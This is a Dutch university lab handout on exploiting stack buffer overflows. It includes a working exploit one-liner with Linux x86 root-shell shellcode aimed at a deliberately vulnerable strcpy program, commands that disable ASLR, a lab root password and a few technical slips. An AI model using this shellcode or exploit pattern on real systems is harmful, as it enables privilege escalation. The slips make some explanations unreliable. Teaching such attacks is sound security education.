./opdr1_vuln `perl -e 'printf "\x90"x223 . "\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "BBBB" . "\x10\xfc\xff\xbf"'`

Dit maal slagen we in onze opzet en wordt er een root-shell geopend. Om te controleren of we inderdaad root-rechten hebben bekijken we deze met het commando id.sh-3.1# iduid=0(root) gid=0(root) groups=0(root)

5.4 uitvoering van de opdracht

Voer de volgende opdrachten uit na het lezen van dit hoofdstuk. Maak een rapportje over hoe je deze opdrachten hebt uitgevoerd en beschrijf je bevindingen.

1. Exploiteer het onveilige programmaatje met behulp van de voorgaande uitleg (zie ook de tekst file op het unix-systeem voor de gegeven shellcode in commando vorm en een korte uitleg) en open een root-shell door de shellcode met deze functionaliteit uit te laten te voeren door dit onveilige programma. Beschrijf wat je gedaan hebt en wat het resultaat was.

_________________________________________________________________

_________________________________________________________________

_________________________________________________________________

_________________________________________________________________

_________________________________________________________________

_________________________________________________________________

2. Wat voor conclusies zou je kunnen trekken over het werken met administrator / root rechten op een systeem?

_________________________________________________________________

_________________________________________________________________

_________________________________________________________________

21

Ethical Hacking: Stack Buffer Overflows

3. Wat voor conclusies zou je kunnen trekken over de executeerbaarheid van code op de stack?

_________________________________________________________________

_________________________________________________________________

_________________________________________________________________

4. Wat voor conclusies zou je kunnen trekken over de veiligheid van de taal C?

_________________________________________________________________

_________________________________________________________________

_________________________________________________________________

22

Ethical Hacking: Stack Buffer Overflows

6 Basis Concepten

Dit hoofdstuk beschrijft een aantal basis concepten die later in de opdrachten nader zullen worden onderzocht. Het gaat in op memory management, de stack en de opbouw van c-programma’s.

6.1 Memory Management

Als een computer programma wordt opgestart wordt dit geladen in het geheugen. Dit doet het operating systeem. Een geladen computerprogramma wordt meestal een (computer)proces genoemd. Ieder proces krijgt van het operating systeem een virtuele geheugen ruimte. Het proces weet hierbij niet waar dit virtuele geheugen zich fysiek bevindt. Het operating systeem schermt dit voor het proces af. Voor het proces begint het procesgeheugen altijd op adres nul (0x00000000 bij 32-bits geheugen adressering). De indeling van het procesgeheugen bestaat uit een aantal onderdelen, segmenten genoemd:

- een code of text segment, hierin staat de programma code van het proces. Dit zijn de machine instructies die door de processor moeten worden uitgevoerd (oftewel de gecompileerde source code) en samen het programma vormen.

- een data segment, hierin staan de globale variabelen uit een programma. Dit zijn de variabelen die tijdens de gehele duur van de executie van een programma moeten worden bijgehouden (in tegenstelling tot variabelen in methodes, die slechts tijdelijk hoeven te worden bewaard, zie de beschrijving van het stack-segment).

- de heap, voor dynamisch geheugen gebruik. Als in een programma tijdens het uitvoeren van het proces geheugen wordt aangevraagd (bij het OS), dan komt dit op de heap terecht. Het is dan namelijk niet mogelijk voor de compiler om tijdens compilatie al te bepalen hoeveel geheugen er gereserveerd moet worden, aangezien de grootte van dit stuk geheugen misschien pas tijdens executie bepaald wordt. De heap kan tijdens executie groeien en krimpen, het data segment niet. De heap is dus geschikt voor dynamische geheugenallocatie, de heap niet.

- de stack, dit wordt gebruikt om tijdens de aanroep van een methode in een programma de waardes van tijdelijke, zogenaamde lokale, methode-variabelen neer te zetten. De variabelen die tijdens het uitvoeren van een methode worden uitgevoerd hoeven namelijk alleen gedurende het doorlopen van de methode te worden bewaard, daarna zijn deze variabelen niet meer in gebruik.

23

Ethical Hacking: Stack Buffer Overflows

(0xFFFFFFFF)Hoge geheugenadressen

Args and env vars

Command line arguments and environment variables

Stack↓

ongebruikt memory

↑Heap

Uninitialized Data Segment (bss)

Initialized to zero by exec.

Initialized Data Segment

Read from the program file by exec.

Lage geheugenadressen(0x00000000)

Text SegmentRead from the program file by exec.

Fig.3.1. Indeling procesgeheugen

Een reden voor deze opdeling is efficiënt geheugengebruik. Een andere reden is afscherming van geheugen.Verder heeft deze opdeling heeft te maken met de ontwikkeling die geheugen beheer door de afgelopen decennia heen heeft doorlopen. Alle aspecten hiervan zijn niet in dit documentje samen te vatten, maar wel na te lezen in het operating systeem boek dat gebruikt wordt tijdens je informatica studie.

6.2 De Pentium ArchitectuurDe Pentium architectuur is afgeleid van eerdere Intel architecturen, de 486, de 386, de 286, en oorspronkelijk van de 8086 architectuur uit 1979. Omwille van backward compatibility worden deze oudere architecturen nog steeds ondersteund op de Pentium. Hierdoor is de Pentium intructieset heel groot in vergelijking met andere moderne architecturen.

6.2.1 InstructiesetDe instructie set van een processor is de lijst van alle instructies die een processor ondersteunt, zoals optellen, vergelijken, registerbewerkingen. De Pentium instructieset wordt ook wel de IA-32 instructie set genoemd, vanwege de Intel 32 bits architectuur1. Iedere instructie uit de instructieset bestaat uit een opcode en één of meerdere operanden. Een voorbeeld van een instructie met operand en opcodes:

1 In de Intel Itanium processoren wordt ook al de 64 bits architectuur IA-64 gebruikt. Zie ook http://en.wikipedia.org/wiki/IA-64

24

Ethical Hacking: Stack Buffer Overflows

add ECX, 1

De add instructie telt hierbij de constante waarde 1 op bij de waarde die op dat moment in het EAX register staat. De opcode is hier dus add, de operanden zijn de constante 1 en de registerwaarde in EAX.

De opcode geeft aan wat voor bewerking (operatie) moet worden uitgevoerd en de operanden geven de waardes die bij de bewerking nodig zijn. Deze benodigde waardes worden meegeven in de vorm van constanten, een geheugenadres, een registernaam. Zo is het dus mogelijk om op verschillende manieren waardes mee te geven aan een instructie. Een paar voorbeelden:

mov EAX, ECX verplaatst de inhoud van het ECX register naar het EAX register

mov EAX, 0A0010FF plaatst de constante waarde 0A0010FF in het EAX register

move EAX, [EDX] Hierbij wordt de inhoud van EDX opgevat als een geheugenlocatie. De waarde die op dit geheugenadres staat wordt in EAX gezet.

move [EAX], EDX Hierbij wordt de inhoud van EDX gekopieerd naar het geheugen adres dat in het EAX register staat.

De Pentium heeft een zogenaamde two-address instruction set. Dit wil zeggen dat een instructie maximaal twee operanden mag hebben. Bij deze operanden is de eerste operand altijd de destination waarde uitkomst van de operatie wordt neergezet. Bij add EAX, EBX wordt het resultaat van de optelling (van de inhouden van EAX en EBX) dus in het EAX register geplaatst.

Er zijn verschillende soorten instructies, data transport instructies, logische instructies, rekenkundige instructies en sprong instructies.

Data transport instructies verplaatsen data van de ene locatie naar de andere. Voorbeelden zijn de hierboven besproken mov instructie, de lea (load effective address) die het adres van een locatie in een register plaatst, en de push en pop instructies die een waarde op de stack zijn of er van af halen. Bijvoorbeeld:

lea EBX, _test plaatst het adres van het lable _test in EBXpush EBP plaatst de waarde uit het EBP register op de stack

Logische instructies maken logische operaties als AND, OR, NOT, XOR mogelijk. Bijvoorbeeld:

25

Ethical Hacking: Stack Buffer Overflows

xor EBX, EBXVoert een xor operatie uit op de waarde van het EBX register met zichzelf. Het resultaat van een xor van 2 dezelfde waardes is 0 en dus zal het register na deze operatie de waarde 0 bevatten. Rekenkundige instructies maken de volgende operaties mogelijk: optellen/aftrekken, verhogen/verlagen, negatief maken, vergelijken, vermenigvuldigen/delen. Een voorbeeld hiervan is de hierboven besproken add instructie en de inc instructie die een operand verhoogd met 1. Bijvoorbeeld:

inc ECX verhoogd de waarde van de inhoud van het ECX register met 1

Spronginstructies zijn nodig om de normale doorloop van een programma te wijzigen, bijvoorbeeld jmp die een onvoorwaardelijke sprong naar een adres maakt, jge (jump greater or equal to 0) die een geheugen sprong maakt als de waarde groter of gelijk is aan 0 en ret om na uitvoering van een functie weer terug te springen naar het hoofdprogramma. Bijvoorbeeld:

jmp forlzorgt ervoor dat voor de uitvoering van de volgende instructie een sprong wordt gemaakt naar (het adres van) de label forl. Hiermee zijn bijvoorbeeld for-loopjes mogelijk in de code.

6.2.2 RegistersRegisters zijn interne geheugenplaatsen in de processor. Registers worden gebruikt om data en adressen te onthouden die nodig zijn bij instructies en de uitvoering van een proces. De Pentium heeft systeem registers en zogenaamde general-purpose registers. Er zijn 4 verschillende soorten systeem registers: segment, control, debug en test registers. Het aantal systeem registers varieert in de verschillende modellen van de Pentium processoren. De systeem registers worden gebruikt door het operating systeem en normaal gesproken niet door applicatiesoftware. Een voorbeeld van een control register is EIP de Extended Instruction Pointer, of de instructie pointer, die wijst naar de volgende instructie die moet worden uitgevoerd.Een ander register is het zogenaamde het speciale EFLAGS register, waar vlaggetjes staan die bij berekeningen gezet worden (bijvoorbeeld de overflow vlag als de uitkomst groter is dan past, sign-vlag als de uitkomst negatief is, de zero vlag als de uitkomst 0 is).

In de Pentium zijn 8 general-purpose registers beschikbaar: EAX, EBX, ECX, EDX, EBP, ESI, EDI en ESP. In de IA-32 architectuur zijn alle registers 32 bits groot, maar 8- en 16-bit subsets van de registers zijn ook te gebruiken. Bij bijvoorbeeld het 32-bits EAX register kan het lower 16-bits deel benaderd worden als AX. In dit AX deel kunnen ook de upper en lower helft benaders worden via resp. AH en AL.

26

Ethical Hacking: Stack Buffer Overflows

De registers EAX, EBX, ECX, EDX zijn data registers waarin tijdelijk data of adreswaardes in kunnen worden bewaard. De overige 4 general purpose registers zijn adresregisters die alleen voor adrespointers worden gebruikt. De verschillende adresregisters hebben een specifieke toepassing. 2 voorbeelden:EBP bevat de base pointer, het adres van het huidige stack frameESP bevat de stack pointer en wijst naar de top van de stack

6.3 De StackDe stack wordt, zoals te zien in figuur 3.1 in de eerdere paragraaf over memory management, gebruikt om tijdens de aanroep van een methode in een programma de waardes van tijdelijke, zogenaamde lokale, methode-variabelen neer te zetten. Ook worden de aanroep parameters van een methode op de stack geplaatst. Buiten de lokale variabelen en de aanroep-parameters wordt de stack ook nog gebruikt om informatie te bewaren die na beëindigen van de methode nodig is om weer door te kunnen gaan in het hoofdprogramma (van waaruit de functie is aangeroepen). Zo wordt bijvoorbeeld het adres van de instructie die na de methode-aanroep komt ook op de stack gezet. Dit totaal aan gegevens op de stack, behorende bij 1 methode, wordt activation record of stack frame genoemd. Op de stack kunnen meerdere stack frames staan als er binnen een methode nog een andere methode wordt aangeroepen. Ook voor het hoofdprogramma is er een stack-frame op de stack, dus bij ieder methode aanroep zijn er in iedere geval al 2 stack frames op de stack.

Voor het stack frame dat op dat moment actief is, wijst de stack pointer ESP naar de top van de stack en de base pointer EBP naar de start van het stack frame.

Omdat in de Pentium architectuur de stack ‘naar beneden groeit’, zoals beschreven bij memory management, is de top van de stack een lager adres dan de start van de stack. In de voorbeelden tekenen we de stack ook zo, met de top van de stack dus naar beneden.

De stack is een LIFO (Last in First Out) data structuur. Dit wil zeggen dat het laatste element dat op de stack is toegevoegd als eerste moet worden verwijderd.

6.3.1 Gebruik van de stack

groei stack

parameters ↑ hoge adressenreturn address

EPB calling stack pointer (caller’s EBP)

Stack pointe

r

lokale variabelen

↓ lage adressen (0x00000000)

27

Ethical Hacking: Stack Buffer Overflows

Met eenvoudig code-voorbeeld kunnen we het gebruik van de stack uitleggen. Hieronder is een functie MyFunc gegeven.

void MyFunc(int a, int b){

int x, int y;char buffer[8];

x=a;y=b;...

}

Een introductie in de programmeertaal C komt verderop in het document, maar de code van deze functie is wel te begrijpen met wat goede wil:Deze functie met de naam MyFunc krijgt bij aanroep twee parameters mee, a en b. Dit zijn beide integer waardes. Binnen de functie MyFunc worden ook nog 3 lokale variabelen gedeclareerd:

- x en y, allebei integers- buffer, dit is een array van 8 karakters

Als deze functie wordt aangeroepen (vanuit bijvoorbeeld het hoofdprogramma), dan worden eerst de parameters van de functie (achterstevoren!) op de stack geplaatst. In dit geval zijn er 2 parameters, a en b. Dan wordt het terugkeer adres op de stack geplaatst. Dit is het adres van de instructie die na de aanroep van de MyFunc komt in het hoofdprogramma. Daarna wordt de ‘oude’ stack pointer op de stack geplaatst. Deze waarde is namelijk weer nodig als er teruggesprongen wordt naar het hoofdprogramma na uitvoering van de functie. Dan wordt de ‘oude’ stack pointer weer teruggeplaatst in het EBP register. Als laatste worden de lokale variabelen x, y, en buffer op de stack geplaatst. Het stack-frame van de functie MyFunc ziet er dan als volgt uit:

b ↑ hoge adressenareturn address

EPB caller’s EBPxy

Stack pointer

buffer

↓ lage adressen(0x00000000)

28

Ethical Hacking: Stack Buffer Overflows

6.3.2 Stack overflowsEen stack overflow kan veroorzaakt worden als een variabele op de stack wordt gevuld met meer data dan er geheugen gereserveerd voor deze variabele. Als je bijvoorbeeld de buffer vult met 7 karakters en een string-afsluitende NULL dan is de stack-buffer precies vol.

b ↑ hoge adressenareturn address

EPB caller’s EBPxy

Stack pointer

buffer

↓ lage adressen(0x00000000)

Als je echter meer naar deze geheugenlocatie kopieert dan zal de stack verder overschreven worden met deze data en heb je een bufferoverflow. Stel dat je in plaats van 8 bytes 24 bytes naar het buffer adres kopieert. Je overschrijft dan niet alleen de geheugenruimte die voor de buffer-variabele is gereserveerd maar ook die van x, y, EBP en het return adres.

b ↑ hoge adressena

buffer EPB

Stack pointer

↓ lage adressen(0x00000000)

Als de functie nu klaar is wordt er teruggesprongen naar het geheugenadres dat in het return adres op de stack staat. Door de buffer overflow is dit return adres nu overschreven en zal dit resulteren in een programma-crash, als het geheugenadres buiten het bereik van dit proces ligt, of in een gewijzigd programma verloop. Dit laatste is wat met buffer overflow exploits het doel is.

29

Ethical Hacking: Stack Buffer Overflows

6.4 C-programma’s

Hieronder is een eenvoudig C-programma weergegeven.

Fig. Een C-programma

We zullen de structuur van C-programma’s aan de hand van dit programma doornemen.Bovenaan het programma staan 2 zogenaamde includes:

#include <stdio.h>#include <string.h>

Includes worden toegevoegd als er in het programma standaard C-functies worden gebruikt (zoals hier printf om iets op het scherm te schrijven en strcpy om een string te kopiëren). Deze functionaliteiten staan in libraries en door de zogenaamde header files (zoals stdio.h) van deze libraries op deze manier te includen zullen deze libraries worden meegecompileerd met de programma code.

int main(int argc, char **argv)

De main-functie is de start van ieder programma. Hier begint dus de programma executie.In deze main-functie staat je programma code en van hieruit kun je dus bijvoorbeeld ook zelfgeschreven functies uitvoeren zoals hier de vulnerable_function(). Als de laatste instructie van de main-functie is uitgevoerd is het programma klaar.De functie kan ook nog 2 input-parameters hebben: argc en argvDit zijn de command-line parameters die bij het opstarten van de executable worden meegegeven. Als dit programma dus als volgt wordt opgestart vanuit de command-line:

# ./opdr1_vuln hallo

dan staat de hallo parameter in argv[1]. Argv is een array van strings. Argv[0] is het opstart commando zelf (“./opdr1_vuln”) en argv[1] het eerste argument, argv[2] het tweede argument, etc. De integer argc geeft het aantal parameters aan dat bij het opstarten van de executable is meegegeven.

30

#include <stdio.h>#include <string.h>

void vulnerable_function(char *input){ char buffer[256]; strcpy(buffer, input); printf(“de inhoud van de buffer is %s”,buffer);}

int main(int argc, char **argv){ vulnerable_function(argv[1]);}

Ethical Hacking: Stack Buffer Overflows

void vulnerable_function(char *input){ char buffer[256]; strcpy(buffer, input); printf(“de inhoud van de buffer is %s”,buffer);}

Dit is een functie met de veelzeggende naam vulnerable_function. Deze functie heeft 1 input parameter, een string (char *input). In de functie kunnen lokale variabelen worden gedeclareerd. In dit geval wordt er 1 lokale variabele gedeclareerd, een array van 256 karakters. Verder worden er in deze functie 2 standaard c-functies aangeroepen: de strcpy-functie en de printf-functie. De functie wordt in het hoofdprogramma aangeroepen: vulnerable_function(argv[1]);

Er wordt hier als input aan de functie argv[1] meegegeven, de eerste opstart argument vanuit de command-line.

printf(“de inhoud van de buffer is %s”,buffer);

printf is een C-functie om iets naar het scherm (of eigenlijk naar stdout) te schrijven. Je kunt hierin een string meegeven:

printf(“Dit is een melding voor de gebruiker\n”);

Hierbij is \n de zogenaamde escape sequence voor een newline, ofwel een nieuwe regel.

In deze string kun je ook waardes van variabelen of geheugenadressen meegeven door zogenaamde format specifiers mee te geven. In het bovenstaande voorbeeld wordt een string meegegeven. De inhoud van de buffer wordt ook op het scherm gezet.

In het volgende voorbeeldje wordt de waarde van de variabele getal getoond als integer, eerst in decimale weergave (%d) en daarna in hexadecimale weergave (%x). Het laatste voorbeeld laat het adres van de variabele getal zien, ook in hexadecimale vorm. In C wordt het adres van een variabele aangegeven met een ‘&’-teken. Dus &x is het adres van x.

printf(de waarde van de variabele getal = %d”, getal);printf(de waarde van de variabele getal = %x”, getal);printf("geheugenadres van de variabele getal = %x", &getal);

strcpy(buffer, input);

Met de Strcpy kun je een string kopiëren van de ene variabele naar de andere, of beter gezegd van de ene geheugen locatie naar de andere. Het eerste argument is de destination-adres en het tweede argument is het source-adres. De string wordt gekopieerd tot en met het eerste NULL-karakter. Er wordt hierbij geen controle uitgevoerd of de string past in de destination variabele. Dit dient de programmeur zelf te controleren. Als je als programmeur geen controle uitvoert heb je een mogelijke buffer overflow bug gecreëerd.

31

Ethical Hacking: Stack Buffer Overflows

6.5 Shellcodes en buffer overflow exploitsShellcodes zijn stukjes machinecode, een set instructies die in een programma worden geïnjecteerd en daarna worden uitgevoerd het geëxploiteerde programma. De term shellcode is afgeleid van het oorspronkelijke doel ervan, het openen van een root shell. Dit is nog steeds vaak het doel van shellcodes omdat je via het openen van een root-shell het target-systeem volledig onder controle hebt. Bij het exploiteren van een buffer overflow met een shellcode dient niet alleen deze set instructies geïnjecteerd te worden, maar dient de programma executie ook zo te worden aangepast dat deze shellcode wordt uitgevoerd. Ook maakt het hierna beschreven NULL-byte probleem en eventuele stack-protectie het maken van shellcodes lastiger. Een ander probleem bij shellcodes is dat de maximale grootte van een shellcode wordt beperkt door de grootte van de geëxploiteerde buffer. Door deze maximale grootte en het NULL-byte probleem is het maken van een shellcode lastig en moeten er op assembly-niveau aanpassingen worden gedaan om de shellcode bruikbaar te maken.

Naast een beschrijving van het NULL-byte probleem volgt hierna ook een uitleg van NOP-instructies en het gebruik ervan in shellcodes. Als laatste wordt uitgelegd welke beveiliging er tegen stackbufferoverflows mogelijk zijn en hoe deze omzeild worden door exploits.

het NULL byte probleemAls je een shellcode probeert te injecteren in een proces dan doe je dit via een reguliere programma input, bijvoorbeeld als opstart parameter of via een invoer veld. De kans is groot dat deze input als een string wordt behandeld in het programma. Kenmerkend aan een string, zoals deze wordt behandeld in C-programma’s is dat een string altijd eindigt met een NULL-karakter, 0x00. Als je dus een shellcode in een programma injecteert en in deze shellcode komt een NULL-byte voor, dan zal alle code die na deze NULL komt niet worden meegekopieerd op de stack. Ook zal het return adres dan niet worden overschreven en dus de shellcode niet uitgevoerd worden. Shellcodes worden dus zo geschreven dat er geen NULL-waardes in voorkomen. Kennis van assembly en machinetaal is dus vereist.

EIP controleOm de shellcode te laten uitvoeren dient deze code eerst in het geheugen geïnjecteerd te worden. Dit wordt via een buffer overflow bug gedaan. Door aan de shellcode ook nog het start-adres van de shellcode toe te voegen en er voor te zorgen dat dit start-adres precies in het returnadres op de stack terecht komt, wordt na het uitvoeren van de functie dit nieuwe return adres gebruikt en zal de shellcode worden uitgevoerd.

We nemen weer hetzelfde voorbeeld als bij de uitleg van de werking van de stack

32

Ethical Hacking: Stack Buffer Overflows

b ↑ hoge adressenareturn address

EPB caller’s EBPxy

Stack pointer

buffer

↓ lage adressen(0x00000000)

Als we onze shellcode in deze buffer weten te krijgen, wat extra ruimte claimen door een bufferoverflow en eindigen met het startadres van onze shellcode, dan zal onze shellcode goed worden uitgevoerd.

b ↑ hoge adressenanieuwe return adres

shellcode

↓ lage adressen(0x00000000)

De kunst hierbij is om het juiste terugadres te raden. De shellcode komt nl. op stack van een lopend programma terecht en je moet dus precies weten te achterhalen op welk adres op de stack de shellcode terecht is gekomen. Dit is afhankelijk van waar het stack-frame begint en van wat er nog meer op de stack staat. Voor een deel is dit voorspelbaar, omdat de stack op redelijk vaste adressen begint. Met de tegenwoordige stack-protectie wordt dit wat lastiger omdat de start van de stack dan een random waarde krijgt (vanaf de Linux 2.6 kernel). Binnen de voorspelbare grenzen moet het juiste adres geraden worden door trial-en-error.

NOP-instructiesOm de sprong naar het begin-adres van de shellcode iets te vergemakkelijken wordt een shellcode voorafgegaan met een aantal NOP-instructies. Een NOP-instrcutie is een instructie die niks doet. Je hoeft dan minder precies te raden op welk adres de shellcode begint, en er alleen maar voor te zorgen dat er via het return adres ergens in de zogenaamde NOP-sled gesprongen wordt.

33

Ethical Hacking: Stack Buffer Overflows

b ↑ hoge adressenanieuwe return adres

shellcode

NOP-sled

↓ lage adressen(0x00000000)

Stack randomness protection, non-executable stacks en andere stack protectieVanwege alle buffer overflow problemen zijn er op het gebied van operating systemen en compilers maatregelen genomen om de stack te beveiligen tegen exploitatie. Er zijn tegen alle maatregelen echter ook weer manieren gevonden om ze te omzeilen. Het exploiteren wordt dus wel lastiger en complexer maar niet onmogelijk. In de opdrachten zetten we de standaard stack protectie van Linux uit omdat de uitleg anders te complex wordt. Hieronder geven we wel een idee van de beschikbare maatregelen en hoe deze omzeild worden in exploits.

Door de Linux 2.6 stack randomness protectie wordt een willekeurig start adres gekozen bij het opstarten van een proces. Hierdoor is van te voren niet te voorspellen waar de stack begint en zullen de stack-waardes iedere keer als een proces opnieuw wordt opgestart op andere geheugenadres te vinden zijn. Dit klinkt goed als beveiligingsmaatregel maar de mogelijke variatie blijkt slechts 8MB groot te zijn. Door toevoeging van een grote NOP-sled en wat uitproberen kan de stack nog steeds geëxploiteerd worden. Ook zijn er subtielere techniek die in de shellcode gebruik maken van het ESP adres die at run-time de top van de stack aangeven. Dit adres geeft tijdens executie namelijk wel altijd een goede referentie.

Een andere maatregel om stack exploitatie te voorkomen is om de stack non-executable te maken. Hierdoor wordt een eventuele uitvoering van een instructie via de stack door het operating systeem tegengegaan. Het is dan dus niet meer mogelijk om shellcode op de stack uit te laten voeren. Ook hier is iets voor bedacht zoals de zogenaamde Return to Libc oplossing. Hierbij wordt via het return adres niet gesprongen naar shellcode instructies op de stack maar naar library functies die binnen het proces bereikbaar zijn. Er is bijvoorbeeld een library functie system() die een string als input heeft die vervolgens wordt uitgevoerd als systeem commando. Als deze functie dus aangeroepen wordt met /bin/sh als argument dan wordt er een shell geopend.

34

Ethical Hacking: Stack Buffer Overflows

6.6 Gebruik van system calls in shellcodesEen system call is het verzoek van een lopend proces aan het OS voor het leveren van een bepaalde dienst. System calls geven toegang tot OS functionaliteit, het is de API tussen een applicatie en de kernel. Het zijn de basis OS-functies als exit(), fork(), read(), write(), execve(), mount(), setuid(), kill(), etc. Deze system calls bevatten kernfunctionaliteit waar een shellcode gebruik van wil maken, dus een shellcode bestaat voor een groot deel uit het aanroepen van system calls.

Onder Windows heb je ook een Windows API. Deze windows API bevat vergelijkbare functionaliteit, maar de windows API is veel groter omdat er veel meer varianten van dezelfde functionaliteit in zitten en omdat de windows API ook meer functionaliteit bevat dan alleen de kern OS functionaliteit.Hoe werkt een system call?In C is dit eenvoudigweg het aanroepen van de functie (met de juiste parameters) die voor deze system call beschikbaar is. We hebben al voorbeelden in de code gezien:

setuid(0);execve(name[0], name, 0x0);

Om deze system calls (ook wel syscalls genoemd) direct in assembly instructies te kunnen schrijven dienen we te weten wat er bij uitvoering van een syscalls gebeurt in het OS. Hierbij is het belangrijk te beseffen dat een normaal gebruikers programma in user mode draait in het OS en dat de aangeroepen syscall functionaliteit kernel functionaliteit is en dus in kernel mode draait. Om vanuit user mode naar kernel mode te springen en syscall uit te voeren wordt gebruik gemaakt van het interrupt mechanisme. Voor system calls wordt de interrupt (of iets preciezer software trap) 0x80 gebruikt. Iedere syscall heeft een vast nummer waardoor het OS bij aanroep van int 0x80 kan bepalen welke syscall uitgevoerd dient te worden. Zo heeft de exit syscall nummer 1 en setuid nummer 23. Bij aanroep van een syscall gebeurt er achtereenvolgens:

- Eerst wordt het syscall functie nummer in register EAX geladen.- Ook worden eventuele parameters voor de functie in andere registers geladen

en/of op de stack gepusht. De precieze registers voor deze parameters liggen per syscall ook vast.

- De interrupt instructie int 0x80 wordt aangeroepen waardoor het OS weet dat het een system call uit moet voeren.

- De syscall functie wordt uitgevoerd met behulp van de parameters die hiervoor in de betreffende registers en eventueel op de stack zijn geplaatst.

Een uitgebreidere uitleg over de afhandeling van system calls en het gebruik van interrupts hierbij is te vinden in referentie [12]. Ook wordt hier de verdere opbouw van de uiteindelijk gebruikte shellcode verklaard.

Om bijvoorbeeld de exit(0) aanroep uit te voeren wordt de syscall functie nummer 1 in EAX geplaatst. Het syscall argument, de exit-reden 0 wordt in EBX geplaatst. Hierna wordt de instructie int 0x80 aangeroepen. De assembly code wordt dan kort maar krachtig:

35

Ethical Hacking: Stack Buffer Overflows

Mov ebx, 0Mov eax, 1Int 0x80

Helaas zitten hier wel NULL-bytes in. We weten echter hoe we deze er uit kunnen krijgen en krijgen dan de volgende assembly code:

Xorl ebx, ebxMov eax, 1Int 0x80

7 Practicum: het opzetten van het systeem

7.1 De testomgeving configureren (evt. thuis)Als je thuis zelf een Debian systeem inricht om het practicum uit te voeren dien je een aantal tools en instellingen te configureren. Op de practicum images is dit al gebeurd. Om de practicum opdrachten uit te kunnen voeren dienen gcc compiler en gdb debugger geïnstalleerd te worden. Ook moet de stack-protectie worden uitgezet en de core dumps worden aangezet. Om onderstaande commando’s uit te kunnen voeren moet eerst een terminal window worden geopend. Omdat sommige commando’s alleen als root-user kunnen worden uitgevoerd is het het handigst om meteen een root-terminal te openen. Dit kan via het menu: Applications – Accessories – Root Terminal. Je wordt dan gevraagd om het root wachtwoord (g33n) in te vullen.

7.1.1 Installeren gcc en gdbDe compiler gcc en debugger gdb worden niet standaard op een debian systeem mee geïnstalleerd. Met behulp van de Debian package management tool APT (Advanced Packaging Tool) is dit echter zo gebeurd.

Eerst updaten we de APT database # apt-get update

Gcc en gdb komen samen in een pakket met de naam build-essential. Deze installeren we met apt-get:

36

Ethical Hacking: Stack Buffer Overflows

# apt-get install build-essential

7.1.2 Stack protectieIn Linux zit sinds versie 2.6 standaard een vorm van stack protectie ingebouwd. Hierbij wordt voor het begin van de stack een random waarde gekozen binnen een range van 8Mb. Hierdoor wordt adres bepaling op de stack lastiger en kunnen in shellcodes geen harde adressen meer gebruikt worden. Los van het feit dat deze protectie te omzeilen is, maakt dat de uitleg van buffer overflows wel complexer. Voor deze uitleg zetten we de stack-protectie dan ook uit. Dit kan als volgt in een root-shell:

# echo "kernel.randomize_va_space = 0" >> /etc/sysctl.conf# /sbin/sysctl -p /etc/sysctl.conf

7.1.3 Core dumpsAls een programma crasht, kan er een core dump gegenereerd worden. In een core dump wordt de status van het procesgeheugen vastgelegd op het moment dat het proces crasht. Core dumps staan default uit onder debian Linux. Om core dumps in te schakelen kan het commando ulimit gebruikt worden:# ulimit –c unlimited

Doe dit aan de start van het practicum.

Als er een core dump heeft plaatsgevonden kun je met behulp van de gdb debugger de core dump onderzoeken. De coredump is een file met de naam core. Deze file bevindt zich in dezelfde directory als het gecrashte programma. Start de gdb debugger als volgt op om de core dump te onderzoeken:# gdb [executable filenaam] core

Hierna kun je de inhoud van het geheugen onderzoeken en de status van verschillende registers bekijken op het moment van de crash. De inhoud van de registers kun je zien met het volgende commando vanuit de opgestarte gdb debugger:(gdb)info registers

De debugger stoppen kan als volgt:(gdb) q

37

Ethical Hacking: Stack Buffer Overflows

8 Verder leesmateriaal

De reden dat voor dit practicum geen boek is gebruikt (buiten kostenbeheersing van studiematerialen) is dat voor de uitleg van het buffer overflow probleem verschillende niveaus van computertechniek besproken moeten worden. Deze niveaus worden meestal niet in 1 boek gedetailleerd genoeg besproken om alle facetten van het buffer overflow probleem te analyseren. In feite heb je dus meerdere boeken (en cursussen) nodig om je ‘security specialist op het gebied van buffer overflows’ te kunnen noemen. Je moet namelijk uitgebreide kennis hebben op het gebied van:

- De theorie van computer architectuur en de praktijk van de Intel IA-32 - De theorie van geheugen beheer en de verschillende implementaties hiervan in

Unix, Linux en Windows.- Programmeren in C en C++, het gebruik van geheugen pointers en dynamische

geheugenallocatie. Ook het gebruik van gcc en gdb verdient hierbij meer aandacht.

Dit document geeft een introductie op deze onderwerpen maar ieder onderwerp kan nog veel verder uitgediept worden.

Een boek dat een goede, diepgaande uitleg geeft over het buffer overflow probleem en shellcodes en daarbij ook aspecten als geheugen beheer en computer architectuur in voldoende mate bespreekt is:

“The shellcoders handbook, Discovering and exploiting security holes” van Koziol, David Litchfield, Dave Aitel, and Chris Anley, ISBN 978-0470080238, 2007

Het boek gaat ook in op andere geheugen problemen omtrent security zoals format string bugs en heap overflows. Ook gaat het in op buffer overflows in Windows systemen en SPARC Solaris.

Er zijn ook boeken op het gebied van security code fouten die veel verschillende code problemen bespreken zoals:“19 deadly sins of software security” van Michael Howard, ISBN 978-0072260854

38

Ethical Hacking: Stack Buffer Overflows

9 Referenties

[1] “The shellcoders handbook, Discovering and exploiting security holes” van Koziol, David Litchfield, Dave Aitel, and Chris Anley, ISBN 978-0764544682

[2] “19 deadly sins of software security” van Michael Howard, ISBN 978-0072260854

[3] “Writing Secure Code”, Michael Howard and David LeBlanc, Microsoft Press, ISBN 978-0-7356-1722-3

[4] “Penetration Testing & Network Defence”, Andrew Whitaker, Daniel Newman, Cisco Press, ISBN 978-1587052088

[5] http://en.wikipedia.org/wiki/Stack_protection[6] http://en.wikipedia.org/wiki/Buffer_overflow [7] http://en.wikipedia.org/wiki/Heap_overflow [8] http://en.wikipedia.org/wiki/Stack_protection

[9] Pentesting TB1: Buffer Overflows, Twan Blum, Fontys Hogeschool Informatica, 2006

[10] Stack Overflows, Sebastiaan Veenstra, Hanzehogeschool Groningen, 2006

[11] Introduction to Shellcoding, Michel Blomgren, tigerteam.se, 2004

[12] Designing shellcode demistified, Murat Balaban, EnderUnix http://www.enderunix.org/docs/en/sc-en.txt

[13] Buffer overflows demystified, Murat Balaban, EnderUnix, http://www.enderunix.org/docs/en/bof-eng.txt

39